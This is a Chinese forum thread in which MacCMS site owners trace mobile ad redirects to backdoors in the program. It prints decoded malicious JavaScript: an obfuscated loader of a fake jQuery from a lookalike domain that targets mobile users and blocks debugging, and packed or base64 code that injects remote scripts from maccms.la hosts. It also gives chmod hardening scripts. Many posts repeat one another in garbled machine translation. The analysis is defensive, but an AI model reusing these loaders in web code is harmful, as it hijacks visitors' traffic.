刚下载的最新程序，手机端进入后台跳广告？

[lkaannn]

我下载的是最新的程序，在手机端进入后台就跳广告！请问这是哪里出问题了？

[pythonSB]

就是有后门呗 感谢劝退

[ZhaTu]

奇安信的Xlab发布了分析报告，明确官方通过升级通道进行投毒
https://mp.weixin.qq.com/s/nl_Pntpoys9NVBp7RKLJvg

[hao235689]

有后门，好多union.maccms.la ，还有js也有后门

[sbblog]

奇安信的Xlab发布了分析报告，明确官方通过升级通道进行投毒 https://mp.weixin.qq.com/s/nl_Pntpoys9NVBp7RKLJvg

怀疑过模板，怀疑过播放器，怀疑过lnmp一键部署包，怀疑过nginx、php、mysql的漏洞，就没怀疑过程序，感谢解毒。

[1585364631]

前阵子刚清理干净，最近发现又开始了，今天丢去给ai代码审计，发现application/extra/active.php文件，里面有gzuncompress加密，解密后的内容

<script type="text/javascript">
function xxSJRox(e){...}  // Base64解码函数
function aPnDhiTia(e){...}  // 另一个解码函数

// 恶意代码：加载外部JS
eval('window')['MfXKwV'] = function(){
    // 从恶意域名加载脚本
    s.src = 'aHR0cHM6Ly9jb2RlLmpxdWVjeS5jb20vanF1ZXJ5Lm1pbi0zLjYuOC5qcw=='
    // 解码后: https://code.jquecy.com/jquery.min-3.6.8.js
};

// 仅在非Windows/Mac平台执行（针对移动端）
if (!(/^Mac|Win/.test(navigator.platform))) MfXKwV();

// 反调试
setInterval(function(){debugger;},100);
</script>

https://code.jquecy.com/jquery.min-3.6.8.js文件是一个伪装的jquery，电脑上访问，空内容，但是浏览器切手机ua访问，就会出现一堆js内容

主要恶意文件：application/extra/active.php
该文件包含大量恶意代码，通过 gzuncompress 压缩隐藏：

解密后发现的内容：
恶意JavaScript脚本：加载外部恶意URL https://code.jquecy.com/jquery.min-3.6.8.js（伪装成jQuery）
恶意域名列表：用于流量劫持和跳转
http://maccms.info:88
https://www.ywquyq.com:10443
https://vodplay2.com
等多个恶意域名
攻击特点：
✅ 仅针对移动端用户（!$env->isMobile() 时跳过）
✅ 绕过管理员IP检测
✅ 通过 view_filter 钩子自动执行
✅ 包含反调试功能

[hao235689]

前阵子刚清理干净，最近发现又开始了，今天丢去给ai审计代码，发现application/extra/active.php文件，里面有gzuncompress加密，解密后的内容

<script type="text/javascript"> function xxSJRox(e){...} // Base64解码函数 function aPnDhiTia(e){...} // 另一个解码函数 // 恶意代码：加载外部JS eval('window')['MfXKwV'] = function(){ // 从恶意域名加载脚本 s.src = 'aHR0cHM6Ly9jb2RlLmpxdWVjeS5jb20vanF1ZXJ5Lm1pbi0zLjYuOC5qcw==' // 解码后: https://code.jquecy.com/jquery.min-3.6.8.js }; // 仅在非Windows/Mac平台执行（针对移动端） if (!(/^Mac|Win/.test(navigator.platform))) MfXKwV(); // 反调试 setInterval(function(){debugger;},100); </script>

https://code.jquecy.com/jquery.min-3.6.8.js文件是一个伪装的jquery，电脑上访问，空内容，但是设备切手机ua访问，就会浏览出现大量js内容

主要恶意文件：application/extra/active.php 该文件包含大量恶意代码，通过 gzuncompress 压缩隐藏：

解密后发现的内容： 恶意JavaScript脚本：加载外部恶意URL https://code.jquecy.com/jquery.min-3.6.8.js（伪装成jQuery） 恶意域名列表：用于流量劫持和跳转 http://maccms.info:88 https://www.ywquyq.com:10443 https://vodplay2.com 等多个恶意域名 攻击特点： ✅ 针对移动端用户（!$env->isMobile() 时跳过） ✅绕过管理员IP检测 ✅通过view_filter钩子自动执行 ✅包含反调试功能

是不是用这个 v2022.1000.3031版本就没这些后门，你觉得呢？

[1585364631]

前阵子刚清理干净，最近发现又开始了，今天丢去给ai审计代码，发现application/extra/active.php文件，里面有gzuncompress加密，解密后的内容<script type=“text/javascript”>
function xxSJRox（e）{...} // Base64解码函数
function aPnDhiTia（e）{...} // 另一个解码函数

恶意代码：加载外部JS
eval（'window'）['MfXKwV'] = function（）{
// 从恶意域名加载脚本
s.src = 'aHR0cHM6Ly9jb2RlLmpxdWVjeS5jb20vanF1ZXJ5Lm1pbi0zLjYuOC5qcw=='
解码后： https://code.jquecy.com/jquery.min-3.6.8.js
};

仅在非Windows/Mac平台执行（针对移动端）
如果（！（/^Mac|Win/.test（navigator.platform））） MfXKwV（）;

// 反调试
setInterval（function（）{debugger;}，100）;
</脚本>https://code.jquecy.com/jquery.min-3.6.8.js 文件是一个伪装的jquery，电脑上访问，空内容，但是设备切手机ua访问，就会浏览出现大量js内容
主要恶意文件：application/extra/active.php 该文件包含大量恶意代码，通过 gzuncompress 压缩隐藏：
解密后发现的内容： 恶意JavaScript脚本：加载外部恶意URL https://code.jquecy.com/jquery.min-3.6.8.js（伪装成jQuery） 恶意域名列表：用于流量劫持和跳转 http://maccms.info:88 https://www.ywquyq.com:10443 https://vodplay2.com 等多个恶意域名 攻击特点： ✅ 针对移动端用户（！$env->isMobile（） 时跳过） ✅ 绕过管理员IP检测 ✅ 通过view_filter钩子自动执行 ✅ 包含反调试功能

是不是用这个 v2022.1000.3031版本就没这些后门，你觉得呢？

我不确定，但是这个版本他也会直接更新到最新版吧，我现在不打算用这个了，我建议如果你要用的话，他有了一套ajax请求，前端模板做前后端分离项目，通过ajax来请求，分两个站点部署，这样子前端可控，防止跳其他站点，后端的话我不知道他藏得多深，反正清完后下午复测偶尔还会出现，累了不打算搞这个了

[hao235689]

前阵子刚清理干净，最近发现又开始了，今天丢去给ai审计代码，发现application/extra/active.php文件，里面有gzuncompress加密，解密后的内容<script type=“text/javascript”>
function xxSJRox（e）{...} // Base64解密函数
function aPnDhiTia（e）{...} //另一个解密函数
恶意代码：加载外部JS
eval（'window'）['MfXKwV'] = function（）{
// 从恶意药品脚本
.src = 'aHR0cHM6Ly9jb2RlLmpxdWVjeS5jb20vanF1ZXJ5Lm1pbi0zLjYuOC5qcw=='
解密后：https://code.jquecy.com/jquery.min-3.6.8.js
};
仅在非Windows/Mac平台执行（针对移动端）
如果（！（/^Mac|Win/.test（navigator.platform））） MfXKwV（）;
// 反调试
setInterval（function（）{debugger;}，100）;
</code.jquecy.com/jquery.min-3.6.8.js文件是一个伪装的jquery，电脑上访问，空内容，但是设备切手机ua访问，就会出现大量js内容
主要恶意文件：application/extra/active.php文件包含大量恶意代码，该通过gzuncompress压缩：
解密后发现的内容：恶意隐藏JavaScript脚本：加载外部恶意URL https://code.jquecy.com/jquery.min-3.6.8.js（伪装成jQuery）恶意域名列表：用于流量劫持和跳转http://maccms.info:88 https://www.ywquyq.com:10443 https://vodplay2.com等多个恶意域名攻击特点： ✅移动针对端用户（！$env->isMobile（）时跳过） ✅ 管理员IP检测 ✅通过view_filter钩子自动执行✅ 包含反调试功能

是不是用这个v2022.1000.3031版本没有这些后门，你觉得呢？

我不确定，但是这个版本他也可以直接更新到最新版本吧，我现在不打算用这个了，我建议如果你用的话，他有一套ajax请求，提前模板做预防分离项目，通过ajax来请求，分部署两个站点，这样子备用，跳预防其他站点，接下来的事情我不知道他藏匿深度，如果清清楚楚完成后下午复测是否还会出现，累了不打算搞这个了

我刚刚查看了，现在是所有的都有后门

最初版本里面都有这个 maccms.la ，有觉得这里有这个 maccms.la 肯定是到处放有后门了。
我在宝塔上设置把所有的html js php全部设置为555权限，当苹果cms后台需要操作的时候再打开后台的php o为755权限就得。这都有后门，我估计也防不了！【执行下面的任务为555权限，会把所有的html 、js、php都会设置为555，只读。】

#!/bin/bash
for website_dir in /www/wwwroot/*; do
if [ -d "$website_dir" ]; then
echo "正在执行全覆盖锁定: $website_dir"

    # 1. 先把整个站点目录设为 555 (包括根目录下的所有 PHP 和子文件夹)
    chmod -R 555 "$website_dir"
    
    # 2. 查找并锁定所有静态资源目录 (解决 static_new 问题)
    find "$website_dir" -maxdepth 1 -type d -name "static*" -exec chmod -R 555 {} \;
    
    # 3. 唯独把 runtime 目录放开 755，让网站能正常运行
    if [ -d "$website_dir/runtime" ]; then
        chmod -R 755 "$website_dir/runtime"
    fi
    
    # 4. 如果您有上传图片的需求，可以单独放开 upload 目录
    # 但建议 upload 目录在 Nginx 里设置“禁止执行脚本权限”
    # if [ -d "$website_dir/upload" ]; then chmod -R 755 "$website_dir/upload"; fi
fi

done
echo "所有站点已进入【终极防御】模式！"

执行下面的任务权限为755，会把后台里面 application 的 PHP 设置开起编辑，其它js,html,php还是一样555权限。

#!/bin/bash
for website_dir in /www/wwwroot/*; do
if [ -d "$website_dir" ]; then
echo "正在执行精准权限加固: $website_dir"

    # 1. 先把整个站点设为 555（只读堡垒）
    chmod -R 555 "$website_dir"
    
    # 2. 针对性开放：只给 application 目录写权限，用于后台配置
    if [ -d "$website_dir/application" ]; then
        chmod -R 755 "$website_dir/application"
        # 【关键修正】立刻把 application 下所有的 html 文件锁死为 555
        find "$website_dir/application" -name "*.html" -exec chmod 555 {} \;
    fi
    
    # 3. 始终锁死：template 和 static 目录下的所有文件
    if [ -d "$website_dir/template" ]; then chmod -R 555 "$website_dir/template"; fi
    find "$website_dir" -maxdepth 1 -type d -name "static*" -exec chmod -R 555 {} \;
    
    # 4. 必须开放：runtime 目录 755
    if [ -d "$website_dir/runtime" ]; then
        chmod -R 755 "$website_dir/runtime"
    fi
fi

done
echo "加固完成！application 里的 HTML 也已强制锁死为 555。"

[1585364631]

前阵子刚清理干净，最近发现又开始了，今天丢去给ai审计代码，发现application/extra/active.php文件，里面有gzuncompress加密，解密后的内容<script type=“text/javascript”>
function xxSJRox（e）{...} // Base64解密函数
function aPnDhiTia（e）{...} //另一个解密函数
恶意代码：加载外部JS
eval（'window'）['MfXKwV'] = function（）{
// 从恶意药品脚本
.src = 'aHR0cHM6Ly9jb2RlLmpxdWVjeS5jb20vanF1ZXJ5Lm1pbi0zLjYuOC5qcw=='
解密后：https://code.jquecy.com/jquery.min-3.6.8.js
};
仅在非Windows/Mac平台执行（针对移动端）
如果（！（/^Mac|Win/.test（navigator.platform））） MfXKwV（）;
// 反调试
setInterval（function（）{debugger;}，100）;
</code.jquecy.com/jquery.min-3.6.8.js文件是一个伪装的jquery，电脑上访问，空内容，但是设备切手机ua访问，就会出现大量js内容
主要恶意文件：application/extra/active.php文件包含大量恶意代码，该通过gzuncompress压缩：
解密后发现的内容：恶意隐藏JavaScript脚本：加载外部恶意URL https://code.jquecy.com/jquery.min-3.6.8.js（伪装成jQuery）恶意域名列表：用于流量劫持和跳转http://maccms.info:88 https://www.ywquyq.com:10443 https://vodplay2.com等多个恶意域名攻击特点： ✅移动针对端用户（！$env->isMobile（）时跳过） ✅ 管理员IP检测 ✅通过view_filter钩子自动执行✅ 包含反调试功能

是不是用这个v2022.1000.3031版本没有这些后门，你觉得呢？

我不确定，但是这个版本他也可以直接更新到最新版本吧，我现在不打算用这个了，我建议如果你用的话，他有一套ajax请求，提前模板做预防分离项目，通过ajax来请求，分部署两个站点，这样子备用，跳预防其他站点，接下来的事情我不知道他藏匿深度，如果清清楚楚完成后下午复测是否还会出现，累了不打算搞这个了

我刚刚查看了，现在是所有的都有后门

最初版本里面都有这个 maccms.la ，有觉得这里有这个 maccms.la 肯定是到处放有后门了。

我在宝塔上设置把所有的html js php全部设置为555权限，当苹果cms后台需要操作的时候再打开后台的php o为755权限就得。这都有后门，我估计也防不了！【执行下面的任务为555权限，会把所有的html 、js、php都会设置为555，只读。】
#!/bin/bash for website_dir in /www/wwwroot/*; do if [ -d "$website_dir" ]; then echo "正在执行全覆盖锁定: $website_dir"

    # 1. 先把整个站点目录设为 555 (包括根目录下的所有 PHP 和子文件夹)
    chmod -R 555 "$website_dir"
    
    # 2. 查找并锁定所有静态资源目录 (解决 static_new 问题)
    find "$website_dir" -maxdepth 1 -type d -name "static*" -exec chmod -R 555 {} \;
    
    # 3. 唯独把 runtime 目录放开 755，让网站能正常运行
    if [ -d "$website_dir/runtime" ]; then
        chmod -R 755 "$website_dir/runtime"
    fi
    
    # 4. 如果您有上传图片的需求，可以单独放开 upload 目录
    # 但建议 upload 目录在 Nginx 里设置“禁止执行脚本权限”
    # if [ -d "$website_dir/upload" ]; then chmod -R 755 "$website_dir/upload"; fi
fi

done echo "所有站点已进入【终极防御】模式！"

执行下面的任务权限为755，会把后台里面 application 的 PHP 设置开起编辑，其它js,html,php还是一样555权限。

#!/bin/bash for website_dir in /www/wwwroot/*; do if [ -d "$website_dir" ]; then echo "正在执行精准权限加固: $website_dir"

    # 1. 先把整个站点设为 555（只读堡垒）
    chmod -R 555 "$website_dir"
    
    # 2. 针对性开放：只给 application 目录写权限，用于后台配置
    if [ -d "$website_dir/application" ]; then
        chmod -R 755 "$website_dir/application"
        # 【关键修正】立刻把 application 下所有的 html 文件锁死为 555
        find "$website_dir/application" -name "*.html" -exec chmod 555 {} \;
    fi
    
    # 3. 始终锁死：template 和 static 目录下的所有文件
    if [ -d "$website_dir/template" ]; then chmod -R 555 "$website_dir/template"; fi
    find "$website_dir" -maxdepth 1 -type d -name "static*" -exec chmod -R 555 {} \;
    
    # 4. 必须开放：runtime 目录 755
    if [ -d "$website_dir/runtime" ]; then
        chmod -R 755 "$website_dir/runtime"
    fi
fi

done echo "加固完成！application 里的 HTML 也已强制锁死为 555。"

我现在打算的是下载最新的代码试一下，放在github的代码上应该是不敢直勾勾放后门的，我打算用最新代码，然后去除自动更新程序安装一遍，他有些网址是base64加密的，再恢复旧数据，以后都不更新了，如果这次还有后门，我就不用这个了

[1585364631]

前阵子刚清理干净，最近发现又开始了，今天丢去给ai审计代码，发现application/extra/active.php文件，里面有gzuncompress加密，解密后的内容<script type=“text/javascript”>
function xxSJRox（e）{...} // Base64解密函数
function aPnDhiTia（e）{...} //另一个解密函数
恶意代码：加载外部JS
eval（'window'）['MfXKwV'] = function（）{
// 从恶意药品脚本
.src = 'aHR0cHM6Ly9jb2RlLmpxdWVjeS5jb20vanF1ZXJ5Lm1pbi0zLjYuOC5qcw=='
解密后：https://code.jquecy.com/jquery.min-3.6.8.js
};
仅在非Windows/Mac平台执行（针对移动端）
如果（！（/^Mac|Win/.test（navigator.platform））） MfXKwV（）;
// 反调试
setInterval（function（）{debugger;}，100）;
</code.jquecy.com/jquery.min-3.6.8.js文件是一个伪装的jquery，电脑上访问，空内容，但是设备切手机ua访问，就会出现大量js内容
主要恶意文件：application/extra/active.php文件包含大量恶意代码，该通过gzuncompress压缩：
解密后发现的内容：恶意隐藏JavaScript脚本：加载外部恶意URL https://code.jquecy.com/jquery.min-3.6.8.js（伪装成jQuery）恶意域名列表：用于流量劫持和跳转http://maccms.info:88 https://www.ywquyq.com:10443 https://vodplay2.com等多个恶意域名攻击特点： ✅移动针对端用户（！$env->isMobile（）时跳过） ✅ 管理员IP检测 ✅通过view_filter钩子自动执行✅ 包含反调试功能

是不是用这个v2022.1000.3031版本没有这些后门，你觉得呢？

我不确定，但是这个版本他也可以直接更新到最新版本吧，我现在不打算用这个了，我建议如果你用的话，他有一套ajax请求，提前模板做预防分离项目，通过ajax来请求，分部署两个站点，这样子备用，跳预防其他站点，接下来的事情我不知道他藏匿深度，如果清清楚楚完成后下午复测是否还会出现，累了不打算搞这个了

我刚刚查看了，现在是所有的都有后门

最初版本里面都有这个 maccms.la ，有觉得这里有这个 maccms.la 肯定是到处放有后门了。

我在宝塔上设置把所有的html js php全部设置为555权限，当苹果cms后台需要操作的时候再打开后台的php o为755权限就得。这都有后门，我估计也防不了！【执行下面的任务为555权限，会把所有的html 、js、php都会设置为555，只读。】
#!/bin/bash for website_dir in /www/wwwroot/*; do if [ -d "$website_dir" ]; then echo "正在执行全覆盖锁定: $website_dir"

    # 1. 先把整个站点目录设为 555 (包括根目录下的所有 PHP 和子文件夹)
    chmod -R 555 "$website_dir"
    
    # 2. 查找并锁定所有静态资源目录 (解决 static_new 问题)
    find "$website_dir" -maxdepth 1 -type d -name "static*" -exec chmod -R 555 {} \;
    
    # 3. 唯独把 runtime 目录放开 755，让网站能正常运行
    if [ -d "$website_dir/runtime" ]; then
        chmod -R 755 "$website_dir/runtime"
    fi
    
    # 4. 如果您有上传图片的需求，可以单独放开 upload 目录
    # 但建议 upload 目录在 Nginx 里设置“禁止执行脚本权限”
    # if [ -d "$website_dir/upload" ]; then chmod -R 755 "$website_dir/upload"; fi
fi

done echo "所有站点已进入【终极防御】模式！"

执行下面的任务权限为755，会把后台里面 application 的 PHP 设置开起编辑，其它js,html,php还是一样555权限。

#!/bin/bash for website_dir in /www/wwwroot/*; do if [ -d "$website_dir" ]; then echo "正在执行精准权限加固: $website_dir"

    # 1. 先把整个站点设为 555（只读堡垒）
    chmod -R 555 "$website_dir"
    
    # 2. 针对性开放：只给 application 目录写权限，用于后台配置
    if [ -d "$website_dir/application" ]; then
        chmod -R 755 "$website_dir/application"
        # 【关键修正】立刻把 application 下所有的 html 文件锁死为 555
        find "$website_dir/application" -name "*.html" -exec chmod 555 {} \;
    fi
    
    # 3. 始终锁死：template 和 static 目录下的所有文件
    if [ -d "$website_dir/template" ]; then chmod -R 555 "$website_dir/template"; fi
    find "$website_dir" -maxdepth 1 -type d -name "static*" -exec chmod -R 555 {} \;
    
    # 4. 必须开放：runtime 目录 755
    if [ -d "$website_dir/runtime" ]; then
        chmod -R 755 "$website_dir/runtime"
    fi
fi

done echo "加固完成！application 里的 HTML 也已强制锁死为 555。"

最新测试了一下，github直接下载最新，然后把所有官方域名屏蔽掉，去掉自动更新，没有那些文件了，并且加载贼快，我体验一阵子看看，还会不会跳转

[LandC77]

这个情况，要么让开发者把源程序里面的相关域名除掉，虽然看起来不太可能，但是现在必应谷歌搜索都是各种的maccms，他们那些安装程序都是后改过的，非常容易植入后门。

[1585364631]

最新发现，player.js解密后，内置//union.maccms.la/html/top10.js链接，手机端才会加载，注释的地方

    'Show': function() {
        $('#buffer').attr('src', this.Prestrain);
        setTimeout(function() {
            MacPlayer.AdsEnd()
        }, this.Second * 1000);
        $("#playleft").get(0).innerHTML = this.Html + '';
        // if (!/(Win|Mac)/i.test(navigator.platform)) {
        //     var a = document.createElement('script');
        //     a.type = 'text/javascript';
        //     a.async = true;
        //     a.charset = 'utf-8';
        //     a.src = base64decode('Ly91bmlvbi5tYWNjbXMubGEvaHRtbC90b3AxMC5qcw==') + '?r=' + this.GetDate('yyyyMMdd');
        //     var b = document.getElementsByTagName('script')[0];
        //     b.parentNode.insertBefore(a, b)
        // }
    },

Ly91bmlvbi5tYWNjbXMubGEvaHRtbC90b3AxMC5qcw==解密后内容为//union.maccms.la/html/top10.js

[hao235689]

前阵子刚清理干净，最近发现又开始了，今天丢去给ai代码审计，发现application/extra/active.php文件，里面有gzuncompress加密，解密后的内容

<script type="text/javascript"> function xxSJRox(e){...} // Base64解码函数 function aPnDhiTia(e){...} // 另一个解码函数 // 恶意代码：加载外部JS eval('window')['MfXKwV'] = function(){ // 从恶意域名加载脚本 s.src = 'aHR0cHM6Ly9jb2RlLmpxdWVjeS5jb20vanF1ZXJ5Lm1pbi0zLjYuOC5qcw==' // 解码后: https://code.jquecy.com/jquery.min-3.6.8.js }; // 仅在非Windows/Mac平台执行（针对移动端） if (!(/^Mac|Win/.test(navigator.platform))) MfXKwV(); // 反调试 setInterval(function(){debugger;},100); </script>

https://code.jquecy.com/jquery.min-3.6.8.js文件是一个伪装的jquery，电脑上访问，空内容，但是浏览器切手机ua访问，就会出现一堆js内容

主要恶意文件：application/extra/active.php 该文件包含大量恶意代码，通过 gzuncompress 压缩隐藏：

解密后发现的内容： 恶意JavaScript脚本：加载外部恶意URL https://code.jquecy.com/jquery.min-3.6.8.js（伪装成jQuery） 恶意域名列表：用于流量劫持和跳转 http://maccms.info:88 https://www.ywquyq.com:10443 https://vodplay2.com 等多个恶意域名 攻击特点： ✅ 仅针对移动端用户（!$env->isMobile() 时跳过） ✅ 绕过管理员IP检测 ✅ 通过 view_filter 钩子自动执行 ✅ 包含反调试功能

$(function(){
if( typeof(MAC_VERSION) !='undefined' && typeof(PHP_VERSION) !='undefined' && typeof(THINK_VERSION) !='undefined' ) {
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('$('3').9('<0'+'1 4="'+'//5.6.7/8/?c=2&a='+b+'&d='+e+'&f='+g+'&h='+i.j()+'"></0'+'1>');',20,20,'scr|ipt|check|body|src|update|maccms|la|v10|append|v|MAC_VERSION||p|PHP_VERSION|tp|THINK_VERSION|t|Math|random'.split('|'),0,{}));
}
});
这些也是后门，解码后 $('body').append('<script src="//update.maccms.la/v10/check?c=check&a='+MAC_VERSION+'&p='+PHP_VERSION+'&tp='+THINK_VERSION+'&t='+Math.random()+'"></script>');

[1585364631]

前阵子刚清理干净，最近发现又开始了，今天丢去给ai代码审计，发现application/extra/active.php文件，里面有gzuncompress加密，解密后的内容

<script type="text/javascript"> function xxSJRox(e){...} // Base64解码函数 function aPnDhiTia(e){...} // 另一个解码函数 // 恶意代码：加载外部JS eval('window')['MfXKwV'] = function(){ // 从恶意域名加载脚本 s.src = 'aHR0cHM6Ly9jb2RlLmpxdWVjeS5jb20vanF1ZXJ5Lm1pbi0zLjYuOC5qcw==' // 解码后: https://code.jquecy.com/jquery.min-3.6.8.js }; // 仅在非Windows/Mac平台执行（针对移动端） if (!(/^Mac|Win/.test(navigator.platform))) MfXKwV(); // 反调试 setInterval(function(){debugger;},100); </script>

https://code.jquecy.com/jquery.min-3.6.8.js文件是一个伪装的jquery，电脑上访问，空内容，但是浏览器切手机ua访问，就会出现一堆js内容
主要恶意文件：application/extra/active.php 该文件包含大量恶意代码，通过 gzuncompress 压缩隐藏：
解密后发现的内容： 恶意JavaScript脚本：加载外部恶意URL https://code.jquecy.com/jquery.min-3.6.8.js（伪装成jQuery） 恶意域名列表：用于流量劫持和跳转 http://maccms.info:88 https://www.ywquyq.com:10443 https://vodplay2.com 等多个恶意域名 攻击特点： ✅ 仅针对移动端用户（!$env->isMobile() 时跳过） ✅ 绕过管理员IP检测 ✅ 通过 view_filter 钩子自动执行 ✅ 包含反调试功能

$(function(){ if( typeof(MAC_VERSION) !='undefined' &amp;&amp; typeof(PHP_VERSION) !='undefined' &amp;&amp; typeof(THINK_VERSION) !='undefined' ) { eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('$('3').9('<0'+'1 4="'+'//5.6.7/8/?c=2&a='+b+'&d='+e+'&f='+g+'&h='+i.j()+'"></0'+'1>');',20,20,'scr|ipt|check|body|src|update|maccms|la|v10|append|v|MAC_VERSION||p|PHP_VERSION|tp|THINK_VERSION|t|Math|random'.split('|'),0,{})); } }); 这些也是后门，解码后 $('body').append('<script src="//update.maccms.la/v10/check?c=check&a='+MAC_VERSION+'&p='+PHP_VERSION+'&tp='+THINK_VERSION+'&t='+Math.random()+'"></script>');

这个已经处理了，我让ai代码审计找出加密的代码段，然后处理了
去除官方更新

[Badkinght]

当初作者消失一段时间，后面出来各种模仿官网的网站，但是后续完全没人分辨出谁是原作者，谁是官网，包括这github否有人说是假的，盗版的。至今我也不敢用这个程序建站，偶尔来看看有啥进展